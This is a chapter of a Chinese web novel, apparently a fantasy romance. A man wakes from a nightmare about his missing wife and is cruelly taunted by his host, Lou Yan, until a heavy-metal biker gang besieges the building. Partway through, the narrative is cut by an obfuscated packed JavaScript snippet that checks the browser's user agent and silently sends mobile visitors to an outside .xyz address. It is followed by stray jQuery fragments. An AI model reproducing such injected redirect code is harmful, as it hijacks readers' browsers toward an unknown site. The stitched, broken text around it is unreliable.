失去热源后,沈清弦将自己蜷缩起来。
睡着睡着,他开始做梦。
梦里,一抹抓不住的红色身影和楼湮那张不耐烦的冷脸交替出现,搅得他心神不宁。
一会儿是娘子温柔唤他夫君的声音,一会是楼湮咬牙切齿的不准,最后画面竟然诡异地融合——娘子转过头,赫然变成楼湮那张冷冰冰的脸,穿着娘子最爱穿的红衣,对他发出一声冷笑:“你看我像你娘子吗?”
沈清弦直接被吓醒,猛地坐起身,额头上全是被噩梦吓出来的冷汗。
他捂着狂跳的心口。
自己竟然做出这种亵渎娘子的梦……
这个梦对沈清弦的冲击有点大,他皱着眉,掀开被子下床,穿着拖鞋,啪嗒啪嗒地走出卧室,得换个地方稍微冷静一下。
刚推开门,就看到外间不止楼湮一人。
柳无济正斜斜地靠在楼湮那张巨大的办公桌边,一条长腿点地,怀里抱着他那台笔记本,手指飞快地敲着,嘴里还在说着什么金融街什么张扒皮。
楼湮听着,没什么表情,手指间把玩着一支看起来就价值不菲的黑色钢笔,在指尖灵活地翻转,偶尔会顿住,轻轻点一下桌面,发出“哒”的一声轻响,整个人陷在宽大的办公椅里,姿态看似慵懒,周身却弥漫着一种“别惹我”的低气压。
柳无济余光瞥见沈清弦出来,话音顿了一下,然后视线在沈清弦和楼湮之间快速扫了个来回。
他才意识到这位爷今天居然穿了一身黑,黑色的丝质衬衫加西裤,身上一点红色都不见。而且……从沈清弦出来那刻起,他转笔的速度好像快了一点,但偏偏就是不回头也不吭声。
柳无济嘴角抽了抽。
得,这俩人之间肯定发生了点什么不能播的。
此地不宜久留,免得被台风尾扫到,于是利落地合上电脑,从桌上跳下来:“那啥……我突然想起来,还有点账目要对一下,挺急的,你们先聊。” 说完,不等任何回应,直接脚底抹油。
办公室里顿时只剩下沈清弦和楼湮两人。
空气安静得可怕。
沈清弦站在原地,有点无措。
他能清晰地感觉到楼湮心情很不好,他自己的心情也被那个破梦搞得一团糟。
他深吸一口气,觉得不能这样僵持下去。
免得夜长梦多,他得赶紧找到娘子离开这个是非之地。
于是,他鼓起勇气,朝着办公桌方向走了几步,小声开口,带着点试探:“那个……你昨日说,会帮我寻我家娘子……此话,可还作数?”
……
楼湮指尖旋转的的钢笔猛地顿住,他反手握入手心。缓缓抬起头,看向沈清弦,那双深不见底的眸子翻腾着让人看不懂的情绪,嘴角勾起弧度:“作数,当然作数。”
他放下钢笔,身体向后靠在椅背上,姿态看似放松:“本座不但会帮你找,还得好好看看,究竟是什么样的天仙人物,能让你……在抱着别的男人睡了一晚之后,还能这么心心念念,忠贞不二地惦记着。”
沈清弦:“……?”
他愣了好几秒,才听懂了楼湮话里的意思,眼睛缓缓睁大,脸上血色瞬间褪得一干二净。
“你……你胡说什么!”他声音发颤,手指下意识地捏紧了衣角,“什么抱着……我何时……”
“怎么?”楼湮打断他,眼神里的恶意几乎不加掩饰,“需要本座帮你回忆一下?昨晚是谁抓着本座的衣襟死活不松手,像块牛皮糖一样往本座怀里钻,嘴里还喊着别走?嗯?”
他每说一句,就站起身,一步步逼近沈清弦。
“本座大发慈悲收留你,给你疗伤,给你地方睡,你倒好,投怀送抱,现在醒了,就翻脸不认账,是本座昨晚让你不够爽吗?满脑子还是你那不知道在哪儿的娘子?”
“沈清弦,”楼湮逼到他面前,“你这忠贞不二,可真够廉价的。”
沈清弦被他劈头盖脸的一通话砸懵了。
脑子“嗡”地一声。
那些模糊却又温暖带着安全感的触碰突然涌入脑海。
自己抓着他的衣裳,贪婪的汲取着他身上的温度……
这些场景……
所以昨晚,他真的对楼湮……沈清弦拳头猛地捏紧,在意识不清的情况下,对一个男人做出了有违纲常之事?
意识到这一点,沈清弦指甲几乎嵌进掌心,胸口开始剧烈起伏,眼前阵阵发黑,浑身发抖。
他想反驳,想说自己根本不知道,不是故意的,可话到嘴边,根本说不出来。
所以,怪不得自己会做那种梦?
瞬间,他眼睛红了一圈,不是哭,而是情绪极度激动的境况下和生理性刺激所导致。
楼湮原本还带着报复快感的恶劣情绪,在看到沈清弦这副仿佛天都塌下来的样子时,猛地滞住了。
他看着沈清弦剧烈颤抖的身体,那双总是清澈带着执拗的眸子开始泛红。
整个人像被雷劈了一样,瞬间反应了过来。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299631|182758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
他到底在做什么?
明明知道这傻子现在记忆全无,行为根本不受控制,自己却因为那点可笑到连自己都说不清道不明的情绪,用伤人的话去刺他,就因为,他梦里喊了句娘子?
楼湮喉咙发紧,随之喉结滚动了一下。
他想说本座都是骗你的,想说昨晚我们什么都没发生,想说哪怕是一句硬邦邦的别想了也行。
但他该死的骄傲和那点别扭的心思让他话到了嘴边,硬生生卡住,拉不下这个脸。
气氛就这样僵持着。
压抑得让人喘不过气。
……
……
……
就在这种令人窒息的沉默即将达到顶点时——
哐——!!
嗡——!!
咚咚咚咚!咚咚——!!!
一阵狂暴到足以掀翻屋顶的重金属摇滚乐如同海啸般猛地从大楼外部响起!
那声音极具穿透力,就好像有无数个劣质音响在耳边疯狂输出,鼓点沉重得像是拿着鼓槌咚咚咚直敲你的脑子,电吉他失真音效刮擦着耳膜,还夹杂着鬼哭狼嚎一样的嘶吼演唱!
整栋金茂大厦的玻璃都被这种堪比噪音中的噪音震的颤抖。
楼湮的眉头瞬间拧死,眼底刚刚泛起的那丝复杂情绪被骤然升起的暴戾取代。
几乎是同时,柳无济的声音通过内部传讯响起,背景音是嘈杂的音乐和叫骂:“楼下有个搞事的,给自己辖区新起了个名儿叫什么‘死亡重金属机车族’,他们新老大,叫什么——爆音,现在骑着他那辆改装得花里胡哨的幽灵哈雷,带着一群小弟在楼下广场放死亡重金属蹦迪呢,说咱们楼风水好,要咱们拆了给他腾地方建个舞台,妈/的智障。”
柳无济的声音听着还算镇定,但语速很快,显然也被这突如其来的神经病搞得火大:“我正跟他讲道理呢,但这帮孙子明显不是来沟通的,就是来找茬的,声音开得这么大,摆明了想用噪音把咱们楼震塌。”
楼湮脸色阴沉得能滴出水。
死亡重金属机车族是盘踞在城外废弃高速公路和隧道里的一群恶灵暴走族,崇尚摇滚,热爱音乐,速度和破坏,以前的老大还算有点脑子,知道哪些人能惹哪些人不能惹。
看来是新换了老大,急着立威。
正好。
楼湮现在满腔的烦躁以及那股无处发泄的邪火,急需一个出口。
下一秒。
楼湮身影直接从原地消失。